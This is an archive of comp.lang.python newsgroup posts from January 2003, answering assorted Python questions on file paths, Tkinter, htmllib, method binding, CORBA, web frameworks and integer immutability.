References: <mailman.1043833132.20351.python-list@python.org>
Message-ID: <b61b3360-6fec-41cb-9d9a-477d92154b9e@news.szn.dk>

David LeBlanc wrote:

> Doesn't squishdot have that - at least the blog/wiki integration?

No, SquishDot doesn't have wiki pages.  Also, SquishDot's design is
<table> based -- I prefer doing layout with CSS (and BlogDot doesn't
quite do it).


  // Klaus

-- 
 ><> 	vandag, m?re, altyd saam



From logistix at zworg.com  Wed Jan 22 18:30:28 2003
From: logistix at zworg.com (logistix)
Date: 22 Jan 2003 15:30:28 -0800
Subject: Accessing a file in a network drive (python under win32)
References: <b714b8de.0301220949.214886e@posting.google.com>
Message-ID: <bdb5b58f.0301221530.3180b2a9@posting.google.com>

akineko at pacbell.net (Aki Niimura) wrote in message news:<b714b8de.0301220949.214886e at posting.google.com>...
> Hi everyone,
> 
> I'm porting a program written in Unix to Windows environment.
> 
> When I tried to open a file in a network drive (which is from SAMBA server) 
> using tkFileDialog.askopenfile(), I got the following error message:
> IOError: [Errno 2] No such file or directory: '//Evelyn/ms_share/python_win32/jt
> ag/t.py'
> 
> However ...
> (1) It won't complain if I access a file in a local drive (ex) 'C:/config.sys'
> 
> (2) I can open the file from IDLE Python Shell
> >>> fd = open('//Evelyn/ms_share/python_win32/jtag/t.py', 'r')
> 
> Does anybody have an idea what is going on here?
> I'm not export on Windows. But why can't Windows be more like Unix?
> 
> Any info would be highly appreciated.
> 
> Aki-


Try using windows delimiters:
fd = open(r"\\Evelyn\ms_share\python_win32\jtag\t.py")

Notice I used a re string so that I didn't need to escape each backslash:
open("\\\\Evelyn\\ms_share\\python_win32\\jtag\\t.py")



From aleax at aleax.it  Fri Jan 31 05:05:48 2003
From: aleax at aleax.it (Alex Martelli)
Date: Fri, 31 Jan 2003 10:05:48 GMT
Subject: Scripting *of* Python
References: <b1bj7a$i9o$1@jura.cc.ic.ac.uk> <3E39E891.780CFC81@alcyone.com> <mailman.1043983796.19335.python-list@python.org> <3E39FDE4.99EB64D4@alcyone.com> <mailman.1043990705.14436.python-list@python.org>
Message-ID: <0Ur_9.148187$AA2.6031796@news2.tin.it>

Andrew Bennetts wrote:

  [snipped: other options are Medusa and do-it-yourself]

> I think it'd probably be much easier with Twisted than either of those
> options, but of course I am probably a little biased ;)

I have no reason to be biased in this case, yet I would agree
that using Twisted would be easiest here (and in most other
cases where one wants to code an event-driven server, too --
and possibly a client, but I haven't looked deep into that yet).

(Which is why I managed to put in a LITTLE coverage of Twisted,
just twisted.internet actually, in "Python in a Nutshell" --
which I should be busy proofreading _right now_ rather than
skimming c.l.py -- it should be in bookstores in March...)


Alex




From andrew at indranet.co.nz  Tue Jan 14 13:15:15 2003
From: andrew at indranet.co.nz (Andrew McGregor)
Date: Wed, 15 Jan 2003 07:15:15 +1300
Subject: newbie looking for help, int reference question
In-Reply-To: <pan.2003.01.14.19.07.19.38207.2750@zonnet.nl>
References: <pan.2003.01.14.19.07.19.38207.2750@zonnet.nl>
Message-ID: <353860000.1042568115@localhost.localdomain>


--On Tuesday, January 14, 2003 19:07:19 +0100 jodocus <johocus at zonnet.nl> 
wrote:

> hi,
>
> i am learning python, but at the moment i cannot afford to buy a book on
> the subject. So i am trying to find all the appropriate information on the
> web. This proves difficult, so if anyone knows a good (complete) online
> book/resource about the language, i would like to know. I am looking for
> more than just a tutorial (these are not hard to find), but rather a
> complete work that describes the details of the language.

The docs from the python source distribution are pretty complete.  Usually 
if you install binaries, there will be a documentation package along with 
them that contains these.

>
> A thing I just ran into and couldn't find in the tutorials i am using:
>
>>>> i = 10
>>>> j = i
>>>> i is j
> 1
>>>> i += 10
>>>> i
> 20
>>>> j
> 10
>
> it seems that, after adding a value, i has become another object. So i
> guess the + operator makes a new object, does this mean that ints are
> 'immutable'? How do i make sure that j changes when i does? Is this
> comparable to the Java distinction between objects and primitive types,
> where objects are referenced but primitives are not?

In python, every name is always a reference.  So yes, integers are 
immutable (it wouldn't be meaningful for 1 to suddenly behave as if it were 
2 :-)).

Each name is interpreted by searching for it in the set of in-scope 
namespaces, which are (effectively) dictionaries mapping from the name to 
whatever value is bound to that name.

Assignment is a statement (not an expression) which binds the name(s) on 
the LHS to the value(s) on the RHS.  The += forms mean the same as their 
expansion, so

i += 10

really is the same as

i = (i + 10)

and means 'rebind the name i to the object returned by the expression i + 
10'

If you want the value bound by two names to change in sync, it has to be a 
mutable container (dictionary, list, or class instance of some kind):

>>> i = [1]
>>> i
[1]
>>> j = i
>>> j
[1]
>>> i[0] = 10
>>> i
[10]
>>> j
[10]

i and j refer to the same object, a list.  Changing i[0] rebound the 0'th 
slot in the list, not either name.

> As a C/C++ programmer i really like to know whether i am dealing with
> pointers or not, this makes me feel more sure about the correctness of the
> code i am writing.

It's not really a case of pointers; conceptually name bindings are somewhat 
different.  But it is much more the case that 'names act like 
pointers-to-objects' than 'names act like C variables'.

Andrew

>
> Thanks a lot,
>
> R

You're welcome.




From gerhard.haering at gmx.de  Wed Jan 22 19:53:14 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 23 Jan 2003 00:53:14 GMT
Subject: Best SMTP/POP library?
References: <FEyX9.1$0L3.488@news2.news.adelphia.net> <slrnb2ten0.1gg.gerhard.haering@haering.opus-gmbh.net> <bJzX9.9$0L3.15587@news2.news.adelphia.net> <slrnb2tj3u.os.gerhard.haering@haering.opus-gmbh.net> <txEX9.141$0L3.64709@news2.news.adelphia.net>
Message-ID: <slrnb2uf7q.22e.gerhard.haering@lilith.my-fqdn.de>

Robert Oschler wrote:
>> [Me:]
>> For a (GUI) MUA blocking calls like the ones in smtplib and poplib tend to
>> annoy the user.  Twisted might come in really useful there.
>>
>> OTOH maybe using smtplib/poplib in a separate thread and communicating via
>> Queue.Queue or whatever works well, too.
>>
>> But if you can avoid threads, that's a Good Thing [tm].
> 
> I assume you're referring to the global intepreter lock?

No, just the fact that smtplib and poplib block. That means if a you
have a single-threaded app and getting up a connection to the SMTP/POP
server takes 5 seconds or more the app will appear "frozen" during
that timespan.

This often makes users click around wildly ...

Gerhard
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From duncan-news at grisby.org  Sun Jan 26 14:58:26 2003
From: duncan-news at grisby.org (Duncan Grisby)
Date: Sun, 26 Jan 2003 19:58:26 +0000 (UTC)
Subject: Looking for CORBA examples, or something better
References: <mailman.1043440544.16542.python-list@python.org>
Message-ID: <1043613383.409544@cache1.news-service.com>

In article <mailman.1043440544.16542.python-list at python.org>,
 Grzegorz Adam Hankiewicz  <gradha at terra.es> wrote:

>After a university brainwash of Java's RMI and Microsoft's COM, I'm
>looking for a python CORBA... interface? I mean, an example/module
>I should use to communicate to other CORBA objects.

CORBA is well supported from Python. In addition to the ORBs others
have already pointed you towards, you might find these presentations
I've given interesting:

  http://www.grisby.org/presentations/

Cheers,

Duncan.

-- 
 -- Duncan Grisby         --
  -- duncan at grisby.org     --
   -- http://www.grisby.org --



From stuart at bmsi.com  Wed Jan  8 15:33:07 2003
From: stuart at bmsi.com (Stuart D. Gathman)
Date: Wed, 08 Jan 2003 20:33:07 GMT
Subject: Python vs. Ruby
References: <001501c2b1e4$dac88770$21795418@dell1700> <mailman.1041520444.17527.python-list@python.org>
Message-ID: <7W%S9.13908$t06.405476@news2.east.cox.net>

On Thu, 02 Jan 2003 11:13:10 -0500, Nicodemus wrote:

> Brian Quinlan wrote:

> "The sort() and reverse() methods modify the list in place for economy
> of space when sorting or reversing a large list. To remind you that they
> operate by side effect, they don't return the sorted or reversed list."
> 
> I myself don't care much about chaining method calls, since the gains
> are relatively small compared to the confusion (as explained by Brian)
> that such a change would cause. I don't think adding "reversed()" and a
> "sorted()" methods to lists would be a good idea (like suggested in
> other emails in this thread), since it would cause even more confusion.

Smalltalk has a special syntax for chaining methods get the best of both
worlds.  The smalltalk operator ';' is already taken in Python, but let
me make a quick stab at a Python substitute:

  aList.sort();.reverse()	# aList.sort(); aList.reverse()

A statement cannot begin with '.', so ';.' means to invoke another method
on the same object.

-- 
	      Stuart D. Gathman <stuart at bmsi.com>
Business Management Systems Inc.  Phone: 703 591-0911 Fax: 703 591-6154
"Confutatis maledictis, flamis acribus addictis" - background song for
a Microsoft sponsored "Where do you want to go from here?" commercial.



From lac at strakt.com  Wed Jan 29 00:35:59 2003
From: lac at strakt.com (Laura Creighton)
Date: Wed, 29 Jan 2003 06:35:59 +0100
Subject: Any AIX experts out there?
Message-ID: <200301290535.h0T5ZxXB025379@ratthing-b246.strakt.com>

The Snake Farm is having trouble building Python on AIX.
See: http://lists.lysator.liu.se/pipermail/snake-farm/2003-January/000654.html

Does anybody recognise these symptoms?

Laura Creighton




From p-abel at t-online.de  Mon Jan 13 20:08:01 2003
From: p-abel at t-online.de (Peter Abel)
Date: 13 Jan 2003 17:08:01 -0800
Subject: slow loop?
References: <1964c4d7.0301130842.2f693958@posting.google.com>
Message-ID: <13a533e8.0301131708.26d7bd20@posting.google.com>

bk at whack.org (Brian Kranson) wrote in message news:<1964c4d7.0301130842.2f693958 at posting.google.com>...
> Is there a way I can make this small script any faster?  The file it
> reads in used to be only about a 100 lines and now it is well over
> 2000.  It takes about 14 seconds to run it on my PentiumII.  Thanks in
> advance - Bk

P?draig]for line in file.readlines():
P?draig]      line = line.strip().replace('"','')
         will result in ... ,,,, ...

P?draig]      finalList.append(line.split(','))
         will produce several empty items

Fletcher] import re
Fletcher] finder = re.compile( r'".*?"')
Fletcher] 
Fletcher] def getstrings( filename ):
Fletcher]     result = []
Fletcher]     for line in open(filename, 'r'):
   if you have something like this:   "TEXT","","NEXTTEXT" 
   it will find this -------------------------^^^ and the comma as
text

Fletcher]         result.append( finder.findall( line ) )
Fletcher]     return result

I converted your text in a two-line Text and wrote it to 'Export.txt'
So try the following:
>>> # Read the complete File in one string
>>> text=file('Export.txt').read()
>>> import re
>>> # Delete the last newline
>>> text=text[:-1]
>>> # Replace the other newlines by comma, because there is no one
between two lines
>>> # Replace the quotmarks by nothing ''
>>> # Replace multiple semikolon by "','"
>>> # Add a single quotationmark "'" at the beginning and the end of
the string
>>> # Evaluate this string-sequence and convert all to list
>>> result=list(eval("'"+re.sub(',+',"','",re.sub('"','',re.sub('\n',',',text)))+"'"))
>>> # That's it
>>> print ",\n".join(result)
IDNUMBER,
VRNUMBER,
LASTNAME,
FIRSTNAME,
MAILNAME,
SALUTATION,
ADDRESS1,
ADDRESS2,
ADDRESS3,
CITY,
STATE,
ZIP,
COUNTY,
CONGRESS,
SENATEDIST,
HOUSEDIST,
RECSTATUS,
REGISTER,
CARRT,
HPHONE,
WPHONE,
FPHONE,
APHONE,
EMPLOYER,
OCCUPATION,
BIRTHDATE,
CONSTITUENTTYPE,
ORIGIN,
AFFILIATION,
SEX,
PRECINCT,
HOMESOUND,
UPDATEDATE,
FAMILY,
CONTEXIST,
EXPEXIST,
VOTEEXIST,
NTEEXIST,
VOLEXIST,
VIPEXIST,
CASEEXIST,
REMIND,
BILLEXIST,
WFAX_PHONE,
CAR_PHONE,
E_MAIL,
PAGER,
MAIL_WHERE,
CONTACT,
AWARD_TYPE,
AWARD_DATE,
ELIGIBLE,
JOIN_DATE,
PAY_GRP,
PAY_AMOUNT,
WADDRESS1,
WADDRESS2,
WADDRESS3,
WCITY,
WSTATE,
WZIP,
WCARRT,
MADDRESS1,
MADDRESS2,
MADDRESS3,
MCITY,
MSTATE,
MZIP,
MCARRT,
DADDRESS1,
DADDRESS2,
DADDRESS3,
DCITY,
DSTATE,
DZIP,
CARRT,
HOUSEHOLDMAILNAME,
HOUSEHOLDSALUTATION,
TOTALCONTRIBUTIONS,
LARGESTCONTRIBUTION,
AVERAGECONTRIBUTION,
LASTCONTRIBUTION,
LASTCONTRIBUTIONDATE,
YEAR1TOTAL,
YEAR2TOTAL,
CONTRIBUTIONSYEAR1,
CONTRIBUTIONSYEAR2,
NONE,
63,
Last,
First,
Ms. First L. Last,
Sal,
220 StreetBlvd.,
Oregon,
OH,
43616,
Lucas,
9,
1,
  /  /  ,
12/30/1899,
Individual,
Female,
HOME,
07/13/1999,
Y,
H,
 /  /    ,
  /  /    ,
0,
220 StreetBlvd.,
Oregon,
OH,
43616,
220 StreetBlvd.,
Oregon,
OH,
43616,
220 StreetBlvd.,
Oregon,
OH,
43616-,
Ms. Frist L.Last,
First,
25.00,
25.00,
25.00,
25.00,
01/06/1999,
0.00,
0.00,
0,
0,
none



From lac at strakt.com  Fri Jan 31 03:39:47 2003
From: lac at strakt.com (Laura Creighton)
Date: Fri, 31 Jan 2003 09:39:47 +0100
Subject: TKinter Entry question 
In-Reply-To: Message from vector <Vector180W@netscape.net> 
   of "Fri, 31 Jan 2003 18:04:41 +1100." <3E3A2009.7040700@netscape.net> 
References: <3E3A2009.7040700@netscape.net> 
Message-ID: <200301310839.h0V8dljL004608@ratthing-b246.strakt.com>

> Q1 can I put some pre text in the entry box?. How?
> Q2 how do I know when/if to get the users entry?
> 		does Python/tk set a flag.
> Im trying to achieve a simple GUI(within a frame of other buttons etc)
> entry box, that i can shove some pre text in(default) but allow a user
> to modify.
> 
> Status=ActivePython,xp,newbie
> 
> Im having trouble with the Entry code in TK
> <snip>
> self.e_fanon=Entry(frame,width=5)
> self.e_fanon.grid(row=l_row,column=1,sticky=W)
> <endsnip>
> 
> ta
> 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

You need to bookmark this: 
http://www.pythonware.com/library/an-introduction-to-tkinter.htm

http://www.pythonware.com/library/tkinter/introduction/x4338-methods.htm
explains how to use the insert method to insert text in your entry
widget.

Another useful Tkinter doc is 
http://www.nmt.edu/tcc/help/lang/python/tkinter.html

HTH,
Laura




From hancock at anansispaceworks.com  Fri Jan 10 01:26:06 2003
From: hancock at anansispaceworks.com (Terry Hancock)
Date: Fri, 10 Jan 2003 06:26:06 GMT
Subject: Python patch analog
References: <o31T9.219$Dq.18655@newsread2.prod.itd.earthlink.net> <mailman.1042094227.29342.python-list@python.org> <J3bT9.1063$Qr4.115123@newsread1.prod.itd.earthlink.net> <mailman.1042113798.3370.python-list@python.org>
Message-ID: <2ItT9.2722$Qr4.253416@newsread1.prod.itd.earthlink.net>

Laura Creighton wrote:
> Terry Hancock wrote:
>> Yeah, I thought of that, but -- the repository object keeps its own time.
>> You just keep track of checkouts and user ids on the server.  I can just
>> encode the checkout time as part of the checkout protocol, so that it
>> stays with the "local copy" that the user receives (as with CVS, we'll
>> need to store some metadata along with the client's "local copy" -- we
>> just keep the checkout identity with this metadata).
> 
> That is what we ended up having to do.  And when the server hit DST,
> all hell broke loose.  Also, when somebody carefully rebooted the
> server to think that it was now the Unix Epoch (Jan 1 1970 00:00:01).
> Also when somebody made the date 10 years in the future.

Hmm. Sounds like implementing an incremental checkout number is the way to 
go. Then, the object only needs to remember what number it's on, and 
timestamps are just a convenience for the reader.

>> There's another class of events that has to be tracked, which is
>> moderation actions. There's actually more than one kind of checkout that
>> can happen at a given time (sort of like "branches" in CVS?), in that the
>> changes can be
>> made with some pre-existing patches ignored.  In that case, the type of
>> checkout made needs to be in the metadata.  In short -- we need enough
>> information for the repository to reconstruct what the user would've
>> checked out.
> 
> I believe, this is known as 'a tricky bit'.  The people who are making
> an Open Source python rewriting of Arch may have some ideas you are
> interested in.

Thanks, I'll take a look at that. There's already a primitive internal 
state representation of this in PVC, but it probably needs a lot of 
refinement.

I guess you mean these?
Arch: http://www.fifthvision.net/open/bin/view/Arch/
EVA:  http://initd.org/pub/software/eva/
and I see an ML for EVA.

Thanks for the ideas,
Terry

-- 
Anansi Spaceworks
http://www.anansispaceworks.com



From pythonhda at yahoo.com.replacepythonwithlinux  Sat Jan 18 11:28:53 2003
From: pythonhda at yahoo.com.replacepythonwithlinux (pythonhda)
Date: Sat, 18 Jan 2003 11:28:53 -0500
Subject: Difficulty using htmllib
References: <e81e0f3d.0301180716.5b1aba2a@posting.google.com>
Message-ID: <20030118112853.2ab9cf64.pythonhda@yahoo.com.replacepythonwithlinux>

On 18 Jan 2003 07:16:51 -0800
joshua at goodish.org (Joshua Goodlett) wrote:

> I've written a small web robot script to familiarize myself with both
> the htmllib and urllib modules but have been getting an error message
> when my HTMLParser subclass is fed.  I've included the relevant code,
> as well as the error message, below:
> 
> ----- snip -----
> 
> import htmllib
> from formatter import NullFormatter
> 
> class URLExtractor(htmllib.HTMLParser):
>     def __init__(self, outfile=None): 
>         htmllib.HTMLParser.__init__(self, NullFormatter())
>         self.url_list = []
>                 
>     def anchor_bgn(self, href, name, type):
>         self.url_list.append(href)
>     
>     def anchor_end(self): pass
> 
>     def reset(self)
>         htmllib.HTMLParser.reset(self)
>         self.url_list = []
> 
>     def get_urls(self):
>         return self.url_list
> 
> if __name__ == "__main__":
> 
>     parser = URLExtractor()
>     hrefs = []
> 
>     urllist = ['www.4SEINC.com',
>                'www.aw-comm.com',
>                'www.arwireless.net',
>                'www.turn-keywireless.com',
>                'www.acadianatowers.com',
>                'www.adamstower.com',
>                'www.advancedlightning.com',
>                'www.advtwoway.com',
>                'www.aerosolutionsllc.com',
>                'www.afcommsupply.com',
>                'www.alandick.com',
>                'www.allcomm.com',
>                'www.alliancecomm.com',
>                'www.alliedtower.com',
>                'www.allteccorp.com',
>                'www.alpha-telecom.com',
>                'www.alumaform.com',
>                'www.amchel.com',
>                'www.amertower.com',
>                'www.anchorguard.com',
>                'www.andrew.com',
>                'www.us.anritsu.com']
>                
>     for url in urllist:        
>         sock = urllib.urlopen('http://' + url)
>         data = sock.read()
>         sock.close()
>         parser.feed(data)
>         hrefs.extend(parser.get_urls())
>         parser.close()
>         parser.reset()
> 
> ----- snip -----
> 
> And now the error message...
> 
> ----- snip -----
> 
> Traceback (most recent call last):
>   File "parsertest.py", line 55, in ?
>     parser.feed(data)
>   File "C:\Python22\lib\sgmllib.py", line 95, in feed
>     self.goahead(0)
>   File "C:\Python22\lib\sgmllib.py", line 161, in goahead
>     k = self.parse_declaration(i)
>   File "C:\Python22\lib\markupbase.py", line 66, in parse_declaration
>     decltype, j = self._scan_name(j, i)
>   File "C:\Python22\lib\markupbase.py", line 313, in _scan_name
>     self.error("expected name token")
>   File "C:\Python22\lib\sgmllib.py", line 102, in error
>     raise SGMLParseError(message)
> sgmllib.SGMLParseError: expected name token
> Press any key to continue . . .
> 
> ----- snip -----
> 
> Any suggestions or advice as to the cause of the error would be
> appreciated.  I'd suspected that the html source being fed to the
> parser is malformed, but this may be wrong.
> 
> Cheers,
> Joshua Goodlett

It works up to www.turn-keywireless.com - Remove that url and it works for the rest...



From skip at pobox.com  Thu Jan 16 11:37:59 2003
From: skip at pobox.com (Skip Montanaro)
Date: Thu, 16 Jan 2003 10:37:59 -0600
Subject: Retrieve the argument list of a function
In-Reply-To: <67446a0a.0301160820.1b9d0acb@posting.google.com>
References: <67446a0a.0301160820.1b9d0acb@posting.google.com>
Message-ID: <15910.57319.307165.505640@montanaro.dyndns.org>

    boethius> How can I retrieve the argument list of a given function?

Check out the machinery available in the inspect module.

Skip





From xtian at toysinabag.com  Mon Jan 27 00:19:33 2003
From: xtian at toysinabag.com (xtian)
Date: 26 Jan 2003 21:19:33 -0800
Subject: Replacing methods without subclassing
References: <NNEY9.47306$F63.1019882@news.xtra.co.nz> <l_FY9.1186$Gj3.39@nwrddc02.gnilink.net> <2_MY9.47989$F63.1032275@news.xtra.co.nz>
Message-ID: <d111eafa.0301262119.616e8a93@posting.google.com>

Aum <spam-me at no-thanks.com> wrote in message news:<2_MY9.47989$F63.1032275 at news.xtra.co.nz>...
> Thanks all the same, but some kind soul on OPN #python told me a much 
> simpler way, which I post for benefit of others looking for similar.
> 
> 
> import new
> ...
> 
> def setevhandler(self, func):
>         """
>         Assigns a new event handler function to the class (or subclass)
>         instance. This provides an alternative to subclassing.
>         """
>         cls = self.__class__
>         if type(func) is not types.FunctionType:
>                 raise MyNotFunctionError
>         self.handleevent = new.instancemethod(func, self, cls)
> 

That is simpler, but type-checking (the "if type(func)" line) is
almost always a bad idea, preventing potentially useful polymorphism.
In this case you'll be stopping people from passing a class with a
__call__ magic method, or a bound method from another instance. And
although I can't think of a good reason someone might want to do that,
I'm sure that the clever people here can. :)

A way of doing the same thing, which follows the Python idiom of
"checking the interface, rather than the type," would be to use the
callable() builtin.

 def setevhandler(self, func):
         """
         Assigns a new event handler function to the class (or
subclass)
         instance. This provides an alternative to subclassing.
         """
         cls = self.__class__
         if not callable(func):
                 raise CallableRequiredError
         self.handleevent = new.instancemethod(func, self, cls)


(Another tip you might find useful is being able to specify the
handler's name (if you want to attach multiple handlers to one
instance). This would be done by adding a name parameter, and then
changing the last line of the function to:

  setattr(self, name, new.instancemethod(func, self, cls))

Sorry if you already know this!)

Cheers,
xtian



From edream at tds.net  Sun Jan 19 16:44:32 2003
From: edream at tds.net (Edward K. Ream)
Date: Sun, 19 Jan 2003 21:44:32 GMT
Subject: 2.3 a1 True/False bug in tkinter?
References: <9GkW9.147257$Hs2.12753686@kent.svc.tds.net> <m33cnpwfgt.fsf@mira.informatik.hu-berlin.de>
Message-ID: <4%EW9.147923$Hs2.12889940@kent.svc.tds.net>

> > Should this be considered a problem with Python or tkinter?
>
> Yes. Can you come up with a small example, and post it as a bug report
> to SourceForge?

I'll do so within a day or so.

Edward
--------------------------------------------------------------------
Edward K. Ream   email:  edream at tds.net
Leo: Literate Editor with Outlines
Leo: http://personalpages.tds.net/~edream/front.html
--------------------------------------------------------------------





From irmen at NOSPAM-REMOVETHIS-xs4all.nl  Tue Jan 14 14:29:29 2003
From: irmen at NOSPAM-REMOVETHIS-xs4all.nl (Irmen de Jong)
Date: Tue, 14 Jan 2003 20:29:29 +0100
Subject: Automating Web Interfaces with Python
In-Reply-To: <v28nvk9q8aav9e@corp.supernews.com>
References: <v28nvk9q8aav9e@corp.supernews.com>
Message-ID: <3e246513$0$49105$e4fe514c@news.xs4all.nl>

Christian Reyes wrote:
> Hi,
> I'm doing some research into Python's ability to automate web interfaces.
> Specifically through jsp's.
> Not sure where to start on this though,
> If anyone could provide some useful links to the subject that would be
> fantastic

For a list of Python "web (server) modules" or "document templating modules":
   http://thor.prohosting.com/~pboddie/Python/web_modules.html
or
   http://www.boddie.org.uk/python/web_frameworks.html


Some simple Google queries provided these links.....

Irmen




From imbosol at vt.edu  Wed Jan 15 23:55:34 2003
From: imbosol at vt.edu (Carl Banks)
Date: Thu, 16 Jan 2003 04:55:34 GMT
Subject: Interesting problem comparing strings with integer values...
References: <cvqb2vge6101f1l0sp20pmvdfgql84r1nt@4ax.com> <200301160002.QAA08652@mail.arc.nasa.gov> <f8ub2vc611s4fvg4aqqc5lo9pmvcjsl66t@4ax.com> <mailman.1042682272.26642.python-list@python.org> <6k5c2vcjc2c565orhe5s21o12hllhe0rbm@4ax.com>
Message-ID: <aXqV9.1043$IZ5.834@nwrddc04.gnilink.net>

Chris Spencer wrote:
>        Programming is about solving problems.  I asked a programming
> question with a certain number of constraints as to what the
> solution could be.  I do NOT think it's off topic for this newsgroup
> just because you don't like the constraints.  If you can't help me,
> that's okay.  But please don't flame me.

Most people here didn't understand your question, because, frankly,
you asked it poorly.  You did state your design constraint: "I must be
able to store both integers and floating point numbers as strings,"
but you forgot to mention that the number has to be stored as a string
in SQL.  Naturally (and rightly), people here thought this meant you
had to store the number as a string in Python.  Naturally (and
rightly), people told you how do this kind of comparison in Python.
And naturally (and rightly), I thought that was a really stupid
constraint, and said so.

And naturally (and rightly), when you come back and say, "Oh, by the
way, I forgot to mention the comparison isn't going to be done in
Python," after people have already taken the time to answer you, they
are going to get a little edgy.

I think I've figured out exactly what you were trying to ask, and
answered it in another post.  But next time, try to state your
question better.  And please don't leave out crucial details like,
"the comparison is not actually done in Python."  :)


-- 
CARL BANKS



From bokr at oz.net  Mon Jan 20 19:40:06 2003
From: bokr at oz.net (Bengt Richter)
Date: 21 Jan 2003 00:40:06 GMT
Subject: a single class supporting multiple facets/interfaces
References: <mailman.1043066796.28044.python-list@python.org> <Pine.GSO.4.44_heb2.09.0301201813550.21739-100000@techunix.technion.ac.il>
Message-ID: <b0i4t6$bes$0@216.39.172.122>

On Mon, 20 Jan 2003 18:46:43 +0200, Beni Cherniavsky <cben at techunix.technion.ac.il> wrote:
[...]
>It's not perfect but here is my best:
>
>class Facet:
>    def __init__(self, obj):
>        self._obj = obj
>    def __getattr__(self, attr):
>        return getattr(self._obj, attr)
>    # ditto for setattr, delattr if needed
>
>class C:
>    def foo(self):
>        print "foo"
>    class facet1(Facet):
>        def bar(self):
>            print "bar version 1"
>    facet1 = property(facet1)

That is an interesting twist, using a class constructor
in the place of get-accessor.

Thanks ;-)

Regards,
Bengt Richter



From mertz at gnosis.cx  Tue Jan  7 23:30:30 2003
From: mertz at gnosis.cx (Lulu of the Lotus-Eaters)
Date: Tue, 07 Jan 2003 23:30:30 -0500
Subject: List glitches?
References: <mailman.1041975154.9872.python-list@python.org>
 <tktfva.d74.ln@beastie.ix.netcom.com>
Message-ID: <ml6G+kKkX4gT092yn@gnosis.cx>         

|Lulu of the Lotus-Eaters fed this fish to the penguins on Tuesday 07
|> I've tried posting (via Python list) several times, to no effect.  Not
|> that this message is all that important, but does anyone know what
|> sort of problem is going on with c.l.py, python-list, or the relation
|> between them?

Dennis Lee Bieber <wlfraed at ix.netcom.com> wrote previously:
|Well, that might explain why I've seen the below four times.

I apologize for the extras.  I eventually saw it four times myself also.
The first try was more than 24 hours before I saw any of them, but all
four copies appeared at about the same time.  Moreover, I sent a
different message during the same time frame that appeared much more
punctually.

--
mertz@  | The specter of free information is haunting the `Net!  All the
gnosis  | powers of IP- and crypto-tyranny have entered into an unholy
.cx     | alliance...ideas have nothing to lose but their chains.  Unite
        | against "intellectual property" and anti-privacy regimes!
-------------------------------------------------------------------------





From abelikov72 at hotmail.com  Wed Jan 22 15:02:10 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Wed, 22 Jan 2003 20:02:10 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <23891c90.0301210334.6d719987@posting.google.com> <rudq2vkfi6akc6absu404fbolmfec5m10a@4ax.com> <23891c90.0301220440.74308d12@posting.google.com>
Message-ID: <9but2vkgahrgtd7m35dirl6kn11hs8b27i@4ax.com>

On 22 Jan 2003 04:40:58 -0800, paul at boddie.net (Paul Boddie) wrote:

>Afanasiy <abelikov72 at hotmail.com> wrote in message news:<rudq2vkfi6akc6absu404fbolmfec5m10a at 4ax.com>...
>> 
>> I am referring to things like PHP automatically splitting multi-valued
>> form fields (checkboxes, select/option) into arrays for you if you just
>> name them, in the html, with [] appended. Just a thoughtful addition.
>> 
>> Or perhaps Python developers consider it another horrible implicit.
>
>Horribly flawed, more like. I'd rather my application know (through
>various means, not necessarily hard-coded) what data type a particular
>piece of information is supposed to be, rather than such information
>arriving in an HTTP request. Certainly, the cgi module supports
>multi-valued fields, and I do agree that frameworks could provide
>better support for processing of field data. Indeed, I've done various
>experiments aimed at this neglected side of Web programming.
>
>Paul

Well they're all strings. Putting multi-valued fields into an array
at your discretion (by naming the form variable with [] appended)
is, in my opinion, useful. I guess if you routinely name form fields
with [] appended for some reason, this could indeed be a problem.



From mcfletch at rogers.com  Wed Jan 15 10:02:31 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 15 Jan 2003 10:02:31 -0500
Subject: Copyright on the Python and Python-console icons?
In-Reply-To: <C4eV9.2943$YI5.2178@news2.central.cox.net>
References: <mailman.1042599446.7372.python-list@python.org> <C4eV9.2943$YI5.2178@news2.central.cox.net>
Message-ID: <3E257807.10609@rogers.com>

Oh Steve, my hero :) !

Aside: Heros are useful for tossing out behind yourself to hold off the 
ravening hordes of lawyers and PSU operatives :) . Once in a while they 
survive the assault and catch up too (reusable resources in those cases).

Ah haf awlwayas relaahd on axeploitin' dah ki'ness o' strayngas ;) ,
Mike

Steve Holden wrote:

...

>so-when-the-psu-come-to-get-him-they'll-have-to-get-through-me-first-ly
>'rs  - steve
>  
>
...

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/







From bkc at Murkworks.com  Thu Jan  2 14:11:21 2003
From: bkc at Murkworks.com (Brad Clements)
Date: Thu, 2 Jan 2003 14:11:21 -0500
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <3E1467EE.93860EC4@engcorp.com>
Message-ID: <3e148bb7$1_1@goliath.newsgroups.com>

I apologize for not expanding the acronyms in my original post. They've been
expanded by subsequent posts (except SAPDB is http://www.sapdb.org)

If you guessed that PSP was python server pages instead of Personal Software
Process, then you probably couldn't have contributed your PSP experience (or
at least, experiences about the PSP  I had in mind) ;-)

This URL:

http://c2.com/cgi/wiki?ExtremeProgrammingForOne

Has some older stuff but interesting on it, including "Sandglass
programming" which is an interesting idea, but there doesn't seem to have
been much follow up on it.

I'm looking not just for heavy-weight methodologies, but all ideas that
improve the process for a solitary programmer. Including, how often to get
up and stretch (since you likely don't have a water cooler to hang out at ..
well, I do, but the only one I can talk to there is my dog).

Regarding TDD. I'd like to find a website that shows common test patterns I
can use.

On my monster project, I'm having trouble designing reasonable tests for a
lot of it, because it's basically all relational database storage. I am
abstracting the storage aspect from "business objects", but I need to test
not only the objects, but also make sure the objects are stored in the
database correctly and restored properly.

I've used a proxy design (a fake db and cursor object) to capture sql
execute's, but I need to go beyond that. Anyone have any suggestions on
testing objects that persist themselves as database rows?

Thanks

--
Novell DeveloperNet Sysop #5

_
"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E1467EE.93860EC4 at engcorp.com...

